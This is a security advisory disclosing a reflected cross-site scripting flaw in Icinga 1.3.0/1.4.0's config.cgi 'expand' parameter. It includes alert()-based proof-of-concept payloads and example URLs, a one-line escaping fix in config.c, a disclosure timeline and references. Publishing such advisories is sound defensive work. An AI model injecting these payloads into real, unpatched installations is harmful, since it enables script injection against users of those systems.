Icinga 1.4.0 Cross-Site Scripting

2011.06.16
Risk: Low
Local: No
Remote: Yes
CWE: CWE-79


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

Advisory: Cross-Site Scripting vulnerability in Icinga Advisory ID: SSCHADV2011-005 Author: Stefan Schurtz Affected Software: Successfully tested on: icinga-1.3.0 / icinga-1.4.0 Vendor URL: http://www.icinga.org Vendor Status: Resolved CVE-ID: - ========================== Vulnerability Description: ========================== This is a Cross-Site Scripting vulnerability ================== Technical Details: ================== No input validation for "expand" in config.c(gi) View Config -> Command Expansion -> To expand -> <script>alert(String.fromCharCode(88,83,83))</script> View Config -> Command Expansion -> To expand -> <body onload=alert(666)> or http://www.example.com/icinga/cgi-bin/config.cgi?type=command&expand=<script>alert(String.fromCharCode(88,83,83))</script> http://www.example.com/icinga/cgi-bin/config.cgi?type=command&expand=<body onload=alert(666)> ========= Solution: ========= in config.c < printf("<TR CLASS='dataEven'><TD CLASS='dataEven'>To expand:</TD><TD CLASS='dataEven'>%s",command_args[0]); > printf("<TR CLASS='dataEven'><TD CLASS='dataEven'>To expand:</TD><TD CLASS='dataEven'>%s",escape_string(command_args[0])); This solution doesn't fix the whole problem - see https://dev.icinga.org/issues/1605#note-3 for more information ==================== Disclosure Timeline: ==================== 01-Jun-2011 - informed developers 01-Jun-2011 - Release date of this security advisory 01-Jun-2011 - fixed - Target version: 1.4.1 01-Jun-2011 - post on BugTraq and Full-disclosure ======== Credits: ======== Vulnerability found and advisory written by Stefan Schurtz. =========== References: =========== http://www.icinga.org https://dev.icinga.org/issues/1605 http://www.rul3z.de/advisories/SSCHADV2011-005.txt

References:

https://dev.icinga.org/issues/1605
http://www.rul3z.de/advisories/SSCHADV2011-006.txt
http://www.rul3z.de/advisories/SSCHADV2011-005.txt
http://tracker.nagios.org/view.php?id=224
http://archives.neohapsis.com/archives/bugtraq/2011-06/0018.html
https://bugzilla.redhat.com/show_bug.cgi?id=709871
http://www.openwall.com/lists/oss-security/2011/06/02/6
http://www.openwall.com/lists/oss-security/2011/06/01/10
http://archives.neohapsis.com/archives/bugtraq/2011-06/0017.html


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top